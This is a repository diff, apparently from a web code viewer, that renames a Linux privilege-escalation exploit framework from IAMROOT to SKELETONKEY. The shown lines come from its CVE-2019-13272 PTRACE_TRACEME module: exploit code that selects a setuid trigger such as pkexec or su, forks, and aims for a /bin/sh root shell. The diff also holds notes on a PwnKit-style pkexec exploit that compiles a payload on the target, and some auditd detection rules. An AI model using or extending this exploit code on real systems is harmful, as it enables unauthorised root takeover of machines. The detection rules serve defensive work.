fprintf(stderr, "[!] ptrace_traceme: kernel %s in vulnerable range\n", v.release); fprintf(stderr, "[!] ptrace_traceme: kernel %s in vulnerable range\n", v.release);
fprintf(stderr, "[i] ptrace_traceme: no exotic preconditions — works on default config " fprintf(stderr, "[i] ptrace_traceme: no exotic preconditions — works on default config "
"(no user_ns required)\n"); "(no user_ns required)\n");
} }
return IAMROOT_VULNERABLE; return SKELETONKEY_VULNERABLE;
} }
/* ---- Exploit (jannh-style) -------------------------------------- /* ---- Exploit (jannh-style) --------------------------------------
@@ -118,14 +118,14 @@ static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
* shellcode that exec's /bin/sh. * shellcode that exec's /bin/sh.
* 10. C resumes P root shell. * 10. C resumes P root shell.
* *
* IAMROOT implementation simplifies by using a small architecture- * SKELETONKEY implementation simplifies by using a small architecture-
* specific shellcode (x86_64 only) and pkexec as the setuid binary * specific shellcode (x86_64 only) and pkexec as the setuid binary
* trigger (works on most Linux systems with polkit installed). Falls * trigger (works on most Linux systems with polkit installed). Falls
* back to /bin/su if pkexec isn't available. * back to /bin/su if pkexec isn't available.
* *
* Reliability: this exploit can fail-race on heavily-loaded systems. * Reliability: this exploit can fail-race on heavily-loaded systems.
* Repeat invocations usually succeed; we don't loop here operator * Repeat invocations usually succeed; we don't loop here operator
* can retry. Returns IAMROOT_EXPLOIT_FAIL on miss, IAMROOT_EXPLOIT_OK * can retry. Returns SKELETONKEY_EXPLOIT_FAIL on miss, SKELETONKEY_EXPLOIT_OK
* on root acquired (followed by execlp(sh) which never returns). * on root acquired (followed by execlp(sh) which never returns).
*/ */
@@ -170,28 +170,28 @@ static const char *find_setuid_target(void)
return NULL; return NULL;
} }
static iamroot_result_t ptrace_traceme_exploit(const struct iamroot_ctx *ctx) static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx *ctx)
{ {
#if !defined(__x86_64__) #if !defined(__x86_64__)
(void)ctx; (void)ctx;
fprintf(stderr, "[-] ptrace_traceme: exploit is x86_64-only " fprintf(stderr, "[-] ptrace_traceme: exploit is x86_64-only "
"(shellcode is arch-specific)\n"); "(shellcode is arch-specific)\n");
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
#else #else
iamroot_result_t pre = ptrace_traceme_detect(ctx); skeletonkey_result_t pre = ptrace_traceme_detect(ctx);
if (pre != IAMROOT_VULNERABLE) { if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] ptrace_traceme: detect() says not vulnerable; refusing\n"); fprintf(stderr, "[-] ptrace_traceme: detect() says not vulnerable; refusing\n");
return pre; return pre;
} }
if (geteuid() == 0) { if (geteuid() == 0) {
fprintf(stderr, "[i] ptrace_traceme: already root\n"); fprintf(stderr, "[i] ptrace_traceme: already root\n");
return IAMROOT_OK; return SKELETONKEY_OK;
} }
const char *setuid_bin = find_setuid_target(); const char *setuid_bin = find_setuid_target();
if (!setuid_bin) { if (!setuid_bin) {
fprintf(stderr, "[-] ptrace_traceme: no setuid trigger binary available\n"); fprintf(stderr, "[-] ptrace_traceme: no setuid trigger binary available\n");
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[*] ptrace_traceme: setuid trigger = %s\n", setuid_bin); fprintf(stderr, "[*] ptrace_traceme: setuid trigger = %s\n", setuid_bin);
@@ -199,7 +199,7 @@ static iamroot_result_t ptrace_traceme_exploit(const struct iamroot_ctx *ctx)
/* fork: child becomes tracee-of-self setup, parent execve's setuid bin */ /* fork: child becomes tracee-of-self setup, parent execve's setuid bin */
pid_t child = fork(); pid_t child = fork();
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; } if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) { if (child == 0) {
/* CHILD: set up the ptrace_link, then pause until parent has /* CHILD: set up the ptrace_link, then pause until parent has
@@ -273,7 +273,7 @@ static iamroot_result_t ptrace_traceme_exploit(const struct iamroot_ctx *ctx)
perror("execve setuid"); perror("execve setuid");
int status; int status;
waitpid(child, &status, 0); waitpid(child, &status, 0);
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
#endif #endif
} }
@@ -281,10 +281,10 @@ static const char ptrace_traceme_auditd[] =
"# PTRACE_TRACEME LPE (CVE-2019-13272) — auditd detection rules\n" "# PTRACE_TRACEME LPE (CVE-2019-13272) — auditd detection rules\n"
"# Flag PTRACE_TRACEME (request 0) followed by parent execve of\n" "# Flag PTRACE_TRACEME (request 0) followed by parent execve of\n"
"# a setuid binary. False positives: gdb, strace, debuggers.\n" "# a setuid binary. False positives: gdb, strace, debuggers.\n"
"-a always,exit -F arch=b64 -S ptrace -F a0=0 -k iamroot-ptrace-traceme\n" "-a always,exit -F arch=b64 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n"
"-a always,exit -F arch=b32 -S ptrace -F a0=0 -k iamroot-ptrace-traceme\n"; "-a always,exit -F arch=b32 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n";
const struct iamroot_module ptrace_traceme_module = { const struct skeletonkey_module ptrace_traceme_module = {
.name = "ptrace_traceme", .name = "ptrace_traceme",
.cve = "CVE-2019-13272", .cve = "CVE-2019-13272",
.summary = "PTRACE_TRACEME → setuid binary execve → cred-escalation via ptrace inject", .summary = "PTRACE_TRACEME → setuid binary execve → cred-escalation via ptrace inject",
@@ -300,7 +300,7 @@ const struct iamroot_module ptrace_traceme_module = {
.detect_falco = NULL, .detect_falco = NULL,
}; };
void iamroot_register_ptrace_traceme(void) void skeletonkey_register_ptrace_traceme(void)
{ {
iamroot_register(&ptrace_traceme_module); skeletonkey_register(&ptrace_traceme_module);
} }
@@ -0,0 +1,12 @@
/*
* ptrace_traceme_cve_2019_13272 — SKELETONKEY module registry hook
*/
#ifndef PTRACE_TRACEME_SKELETONKEY_MODULES_H
#define PTRACE_TRACEME_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module ptrace_traceme_module;
#endif
+2 -2
View File
@@ -25,10 +25,10 @@ polkit until 0.121 (or distro backport).
- Debian: 0.105-31+deb11u1 (bullseye), 0.105-26+deb10u1 (buster) - Debian: 0.105-31+deb11u1 (bullseye), 0.105-26+deb10u1 (buster)
- RHEL: polkit-0.115-13.el7_9 (RHEL 7), polkit-0.117-9.el8_5.1 (RHEL 8) - RHEL: polkit-0.115-13.el7_9 (RHEL 7), polkit-0.117-9.el8_5.1 (RHEL 8)
## IAMROOT detect logic (current) ## SKELETONKEY detect logic (current)
1. Resolve pkexec binary (`/usr/bin/pkexec` or `which pkexec`) 1. Resolve pkexec binary (`/usr/bin/pkexec` or `which pkexec`)
2. If not present → IAMROOT_OK (no attack surface) 2. If not present → SKELETONKEY_OK (no attack surface)
3. Run `pkexec --version` and parse version 3. Run `pkexec --version` and parse version
4. Compare to known-fixed thresholds; report VULNERABLE if below 4. Compare to known-fixed thresholds; report VULNERABLE if below
+2 -2
View File
@@ -14,7 +14,7 @@ Original advisory:
Upstream fix: polkit 0.121 (Jan 2022). Upstream fix: polkit 0.121 (Jan 2022).
## IAMROOT role ## SKELETONKEY role
The exploit module follows the canonical Qualys-style chain: writes The exploit module follows the canonical Qualys-style chain: writes
payload.c + gconv-modules cache, compiles via the target's gcc, payload.c + gconv-modules cache, compiles via the target's gcc,
@@ -22,4 +22,4 @@ execve's pkexec with NULL argv and crafted envp. Handles both the
legacy ("0.105") and modern ("126") polkit version string formats. legacy ("0.105") and modern ("126") polkit version string formats.
Falls back gracefully on hosts without a compiler. Falls back gracefully on hosts without a compiler.
This is IAMROOT's first **userspace** LPE — not a kernel bug. This is SKELETONKEY's first **userspace** LPE — not a kernel bug.

Some files were not shown because too many files have changed in this diff Show More